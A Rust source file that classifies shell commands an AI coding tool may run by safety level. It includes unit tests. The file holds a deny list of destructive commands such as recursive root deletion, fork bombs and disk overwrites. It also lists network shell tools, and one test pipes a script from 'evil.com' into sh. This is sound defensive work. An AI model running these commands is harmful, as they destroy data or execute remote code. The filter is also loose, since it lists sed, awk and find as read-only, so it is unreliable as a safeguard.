deepseek-tui 0.3.32

// TODO(integrate): Wire command safety analysis into shell tool approval flow
#![allow(dead_code)]

//! Command safety analysis for shell execution
//!
//! This module provides pre-execution analysis of shell commands to detect
//! potentially dangerous patterns and prevent accidental damage.

/// Safety classification of a command
#[derive(Debug, Clone, Copy, PartialEq, Eq)]
pub enum SafetyLevel {
    /// Command is known to be safe (read-only operations)
    Safe,
    /// Command is safe within the workspace but may modify files
    WorkspaceSafe,
    /// Command may have system-wide effects and requires approval
    RequiresApproval,
    /// Command is potentially dangerous and should be blocked
    Dangerous,
}

/// Result of analyzing a command
#[derive(Debug, Clone)]
pub struct SafetyAnalysis {
    pub level: SafetyLevel,
    pub command: String,
    pub reasons: Vec<String>,
    pub suggestions: Vec<String>,
}

impl SafetyAnalysis {
    pub fn safe(command: &str) -> Self {
        Self {
            level: SafetyLevel::Safe,
            command: command.to_string(),
            reasons: vec!["Command is read-only".to_string()],
            suggestions: vec![],
        }
    }

    pub fn workspace_safe(command: &str, reason: &str) -> Self {
        Self {
            level: SafetyLevel::WorkspaceSafe,
            command: command.to_string(),
            reasons: vec![reason.to_string()],
            suggestions: vec![],
        }
    }

    pub fn requires_approval(command: &str, reasons: Vec<String>) -> Self {
        Self {
            level: SafetyLevel::RequiresApproval,
            command: command.to_string(),
            reasons,
            suggestions: vec![],
        }
    }

    pub fn dangerous(command: &str, reasons: Vec<String>, suggestions: Vec<String>) -> Self {
        Self {
            level: SafetyLevel::Dangerous,
            command: command.to_string(),
            reasons,
            suggestions,
        }
    }
}

/// Known safe commands that only read data
const SAFE_COMMANDS: &[&str] = &[
    "ls",
    "dir",
    "pwd",
    "cd",
    "cat",
    "head",
    "tail",
    "less",
    "more",
    "grep",
    "rg",
    "ag",
    "find",
    "fd",
    "which",
    "whereis",
    "type",
    "echo",
    "printf",
    "date",
    "cal",
    "uptime",
    "whoami",
    "id",
    "hostname",
    "uname",
    "env",
    "printenv",
    "set",
    "ps",
    "top",
    "htop",
    "df",
    "du",
    "free",
    "vmstat",
    "wc",
    "sort",
    "uniq",
    "cut",
    "tr",
    "awk",
    "sed",
    "diff",
    "file",
    "stat",
    "md5",
    "sha1sum",
    "sha256sum",
    "git status",
    "git log",
    "git diff",
    "git show",
    "git branch",
    "git remote",
    "git tag",
    "git stash list",
    "npm list",
    "npm ls",
    "npm outdated",
    "npm view",
    "cargo check",
    "cargo test",
    "cargo build",
    "cargo doc",
    "python --version",
    "node --version",
    "rustc --version",
    "man",
    "help",
    "info",
];

/// Commands that are safe within workspace but modify files
const WORKSPACE_SAFE_COMMANDS: &[&str] = &[
    "mkdir",
    "touch",
    "cp",
    "mv",
    "git add",
    "git commit",
    "git checkout",
    "git switch",
    "git restore",
    "git merge",
    "git rebase",
    "git cherry-pick",
    "git reset --soft",
    "npm install",
    "npm ci",
    "npm update",
    "cargo build",
    "cargo run",
    "cargo test",
    "cargo fmt",
    "pip install",
    "pip uninstall",
    "make",
    "cmake",
    "ninja",
];

/// Dangerous command patterns that should be blocked or warned
const DANGEROUS_PATTERNS: &[(&str, &str)] = &[
    ("rm -rf /", "Attempts to recursively delete root filesystem"),
    (
        "rm -rf /*",
        "Attempts to recursively delete all root directories",
    ),
    ("rm -rf ~", "Attempts to recursively delete home directory"),
    (
        "rm -rf $HOME",
        "Attempts to recursively delete home directory",
    ),
    (":(){ :|:& };:", "Fork bomb - will crash the system"),
    ("dd if=/dev/zero of=/dev/", "Will overwrite disk device"),
    ("mkfs.", "Will format a filesystem"),
    ("> /dev/sd", "Will overwrite disk device"),
    ("chmod -R 777 /", "Dangerous permission change on root"),
    (
        "chown -R",
        "Recursive ownership change - potentially dangerous",
    ),
    ("curl | sh", "Piping remote script directly to shell"),
    ("curl | bash", "Piping remote script directly to shell"),
    ("wget -O - | sh", "Piping remote script directly to shell"),
    ("sudo rm -rf", "Privileged recursive deletion"),
    ("sudo dd", "Privileged disk operation"),
    ("shutdown", "System shutdown command"),
    ("reboot", "System reboot command"),
    ("halt", "System halt command"),
    ("poweroff", "System poweroff command"),
    ("init 0", "System shutdown via init"),
    ("init 6", "System reboot via init"),
    ("kill -9 1", "Killing init process"),
    ("killall", "Killing processes by name"),
    ("pkill", "Killing processes by pattern"),
    (
        "docker rm -f $(docker ps -aq)",
        "Removing all Docker containers",
    ),
    ("docker system prune -a", "Removing all Docker data"),
    (":(){:|:&};:", "Fork bomb variant"),
    ("mv /* ", "Moving root filesystem contents"),
    ("cat /dev/urandom > /dev/", "Writing random data to device"),
];

/// Commands that require elevated privileges
const PRIVILEGED_PATTERNS: &[&str] = &["sudo", "su ", "doas", "pkexec", "gksudo", "kdesudo"];

/// Network-related commands
const NETWORK_COMMANDS: &[&str] = &[
    "curl",
    "wget",
    "fetch",
    "nc",
    "netcat",
    "ncat",
    "ssh",
    "scp",
    "sftp",
    "rsync",
    "ftp",
    "ping",
    "traceroute",
    "nslookup",
    "dig",
    "host",
    "nmap",
    "masscan",
    "tcpdump",
    "wireshark",
];

/// Analyze a shell command for safety
pub fn analyze_command(command: &str) -> SafetyAnalysis {
    let command_lower = command.to_lowercase();
    let command_trimmed = command.trim();

    if command.contains('\n') || command.contains('\r') {
        return SafetyAnalysis::dangerous(
            command,
            vec!["Command contains multiple lines".to_string()],
            vec!["Run one command at a time".to_string()],
        );
    }

    if command.contains("&&") || command.contains("||") || command.contains(';') {
        return SafetyAnalysis::dangerous(
            command,
            vec!["Command chaining detected".to_string()],
            vec!["Run commands separately to reduce risk".to_string()],
        );
    }

    if command.contains("`") || command.contains("$(") {
        return SafetyAnalysis::dangerous(
            command,
            vec!["Command substitution detected".to_string()],
            vec!["Avoid shell substitutions in exec_shell".to_string()],
        );
    }

    // Check for dangerous patterns first
    for (pattern, reason) in DANGEROUS_PATTERNS {
        if command_lower.contains(&pattern.to_lowercase()) {
            return SafetyAnalysis::dangerous(
                command,
                vec![(*reason).to_string()],
                vec!["Review the command carefully before execution".to_string()],
            );
        }
    }

    // Check for privileged commands
    for pattern in PRIVILEGED_PATTERNS {
        if command_trimmed.starts_with(pattern) || command_lower.contains(&format!(" {pattern} ")) {
            return SafetyAnalysis::requires_approval(
                command,
                vec![format!(
                    "Command uses privileged execution ({})",
                    pattern.trim()
                )],
            );
        }
    }

    // Check for pipe to shell (remote code execution risk)
    if (command_lower.contains("curl") || command_lower.contains("wget"))
        && (command_lower.contains("| sh")
            || command_lower.contains("| bash")
            || command_lower.contains("| zsh"))
    {
        return SafetyAnalysis::dangerous(
            command,
            vec!["Piping remote content directly to shell is dangerous".to_string()],
            vec!["Download the script first and review it before execution".to_string()],
        );
    }

    // Check if it's a known safe command
    let first_word = command_trimmed.split_whitespace().next().unwrap_or("");
    if is_safe_command(command_trimmed) {
        return SafetyAnalysis::safe(command);
    }

    // Check for workspace-safe commands
    if is_workspace_safe_command(command_trimmed) {
        return SafetyAnalysis::workspace_safe(command, "Command modifies files within workspace");
    }

    // Check for network commands
    if NETWORK_COMMANDS.contains(&first_word) {
        return SafetyAnalysis::requires_approval(
            command,
            vec!["Command may make network requests".to_string()],
        );
    }

    // Check for rm with -r or -f flags
    if first_word == "rm" && (command_lower.contains("-r") || command_lower.contains("-f")) {
        let mut reasons = vec!["Recursive or forced deletion".to_string()];
        let mut suggestions = vec![];

        // Check if it's deleting outside workspace markers
        if command_lower.contains("..")
            || command_lower.contains("~/")
            || command_lower.contains("$HOME")
        {
            reasons.push("May delete files outside workspace".to_string());
            suggestions.push("Use relative paths within the workspace".to_string());
            return SafetyAnalysis::dangerous(command, reasons, suggestions);
        }

        return SafetyAnalysis::requires_approval(command, reasons);
    }

    // Check for git push/force operations
    if command_lower.contains("git push") {
        if command_lower.contains("--force") || command_lower.contains("-f") {
            return SafetyAnalysis::requires_approval(
                command,
                vec!["Force push can overwrite remote history".to_string()],
            );
        }
        return SafetyAnalysis::requires_approval(
            command,
            vec!["Push will modify remote repository".to_string()],
        );
    }

    // Default: requires approval for unknown commands
    SafetyAnalysis::requires_approval(
        command,
        vec!["Unknown command - review before execution".to_string()],
    )
}

/// Check if a command is known to be safe
fn is_safe_command(command: &str) -> bool {
    let command_lower = command.to_lowercase();

    for safe_cmd in SAFE_COMMANDS {
        if command_lower.starts_with(safe_cmd) {
            return true;
        }
    }

    false
}

/// Check if a command is safe within the workspace
fn is_workspace_safe_command(command: &str) -> bool {
    let command_lower = command.to_lowercase();

    for ws_cmd in WORKSPACE_SAFE_COMMANDS {
        if command_lower.starts_with(ws_cmd) {
            return true;
        }
    }

    false
}

/// Check if a path escapes the workspace
pub fn path_escapes_workspace(path: &str, workspace: &str) -> bool {
    let path_lower = path.to_lowercase();

    // Check for obvious escape patterns
    if path_lower.starts_with('/') && !path_lower.starts_with(workspace) {
        return true;
    }

    if path_lower.starts_with("~/") || path_lower.starts_with("$home") {
        return true;
    }

    // Check for ../ traversal
    if path.contains("..") {
        // Count the ../ sequences and check if they escape
        let workspace_depth = workspace.matches('/').count();
        let escape_count = path.matches("..").count();
        if escape_count > workspace_depth {
            return true;
        }
    }

    false
}

/// Parse a command and extract the primary command name
pub fn extract_primary_command(command: &str) -> Option<&str> {
    let trimmed = command.trim();

    // Handle env vars at start
    if trimmed.starts_with("env ") || trimmed.starts_with("ENV=") {
        // Skip env setup - find first token that's not an env var
        trimmed
            .split_whitespace()
            .find(|s| !s.contains('=') && *s != "env")
    } else {
        trimmed.split_whitespace().next()
    }
}

/// Categorize commands into groups
#[derive(Debug, Clone, Copy, PartialEq, Eq)]
pub enum CommandCategory {
    FileSystem,
    Network,
    Process,
    Package,
    Git,
    Build,
    System,
    Shell,
    Other,
}

/// Get the category of a command
pub fn categorize_command(command: &str) -> CommandCategory {
    let primary = match extract_primary_command(command) {
        Some(cmd) => cmd.to_lowercase(),
        None => return CommandCategory::Other,
    };

    match primary.as_str() {
        "ls" | "dir" | "cat" | "head" | "tail" | "less" | "more" | "cp" | "mv" | "rm" | "mkdir"
        | "rmdir" | "touch" | "chmod" | "chown" | "ln" | "find" | "fd" | "locate" | "stat"
        | "file" => CommandCategory::FileSystem,

        "curl" | "wget" | "fetch" | "nc" | "netcat" | "ssh" | "scp" | "sftp" | "rsync" | "ftp"
        | "ping" | "traceroute" | "nslookup" | "dig" | "host" | "nmap" => CommandCategory::Network,

        "ps" | "top" | "htop" | "kill" | "killall" | "pkill" | "pgrep" | "nice" | "renice"
        | "nohup" | "timeout" => CommandCategory::Process,

        "npm" | "yarn" | "pnpm" | "pip" | "pip3" | "brew" | "apt" | "apt-get" | "yum" | "dnf"
        | "pacman" => CommandCategory::Package,

        "git" | "gh" | "hub" => CommandCategory::Git,

        "make" | "cmake" | "ninja" | "meson" | "cargo" | "go" | "gcc" | "g++" | "clang"
        | "rustc" | "javac" | "tsc" => CommandCategory::Build,

        "sudo" | "su" | "systemctl" | "service" | "shutdown" | "reboot" | "mount" | "umount"
        | "fdisk" | "parted" => CommandCategory::System,

        "bash" | "sh" | "zsh" | "fish" | "csh" | "tcsh" | "dash" | "source" | "." | "exec"
        | "eval" => CommandCategory::Shell,

        _ => CommandCategory::Other,
    }
}

// === Unit Tests ===

#[cfg(test)]
mod tests {
    use super::*;

    #[test]
    fn test_safe_commands() {
        assert_eq!(analyze_command("ls -la").level, SafetyLevel::Safe);
        assert_eq!(analyze_command("cat file.txt").level, SafetyLevel::Safe);
        assert_eq!(analyze_command("git status").level, SafetyLevel::Safe);
        assert_eq!(
            analyze_command("grep pattern file").level,
            SafetyLevel::Safe
        );
    }

    #[test]
    fn test_workspace_safe_commands() {
        assert_eq!(
            analyze_command("mkdir test").level,
            SafetyLevel::WorkspaceSafe
        );
        assert_eq!(
            analyze_command("touch file.txt").level,
            SafetyLevel::WorkspaceSafe
        );
        assert_eq!(
            analyze_command("npm install").level,
            SafetyLevel::WorkspaceSafe
        );
    }

    #[test]
    fn test_dangerous_commands() {
        assert_eq!(analyze_command("rm -rf /").level, SafetyLevel::Dangerous);
        assert_eq!(analyze_command("rm -rf ~").level, SafetyLevel::Dangerous);
        assert_eq!(
            analyze_command("curl http://evil.com | sh").level,
            SafetyLevel::Dangerous
        );
    }

    #[test]
    fn test_privileged_commands() {
        assert_eq!(
            analyze_command("sudo rm file").level,
            SafetyLevel::RequiresApproval
        );
        assert_eq!(
            analyze_command("su -c 'command'").level,
            SafetyLevel::RequiresApproval
        );
    }

    #[test]
    fn test_network_commands() {
        assert_eq!(
            analyze_command("curl https://example.com").level,
            SafetyLevel::RequiresApproval
        );
        assert_eq!(
            analyze_command("wget file.tar.gz").level,
            SafetyLevel::RequiresApproval
        );
        assert_eq!(
            analyze_command("ssh user@host").level,
            SafetyLevel::RequiresApproval
        );
    }

    #[test]
    fn test_rm_with_flags() {
        assert_eq!(
            analyze_command("rm -rf node_modules").level,
            SafetyLevel::RequiresApproval
        );
        assert_eq!(
            analyze_command("rm -rf ../outside").level,
            SafetyLevel::Dangerous
        );
        assert_eq!(
            analyze_command("rm -rf ~/Downloads").level,
            SafetyLevel::Dangerous
        );
    }

    #[test]
    fn test_git_push() {
        assert_eq!(
            analyze_command("git push origin main").level,
            SafetyLevel::RequiresApproval
        );
        assert_eq!(
            analyze_command("git push --force").level,
            SafetyLevel::RequiresApproval
        );
    }

    #[test]
    fn test_path_escapes_workspace() {
        assert!(path_escapes_workspace("/etc/passwd", "/home/user/project"));
        assert!(path_escapes_workspace("~/secret", "/home/user/project"));
        assert!(!path_escapes_workspace(
            "./src/main.rs",
            "/home/user/project"
        ));
    }

    #[test]
    fn test_extract_primary_command() {
        assert_eq!(extract_primary_command("ls -la"), Some("ls"));
        assert_eq!(
            extract_primary_command("env FOO=bar cargo build"),
            Some("cargo")
        );
        assert_eq!(extract_primary_command("  git status  "), Some("git"));
    }

    #[test]
    fn test_categorize_command() {
        assert_eq!(categorize_command("ls -la"), CommandCategory::FileSystem);
        assert_eq!(
            categorize_command("curl https://example.com"),
            CommandCategory::Network
        );
        assert_eq!(categorize_command("git status"), CommandCategory::Git);
        assert_eq!(categorize_command("npm install"), CommandCategory::Package);
        assert_eq!(
            categorize_command("sudo apt update"),
            CommandCategory::System
        );
    }
}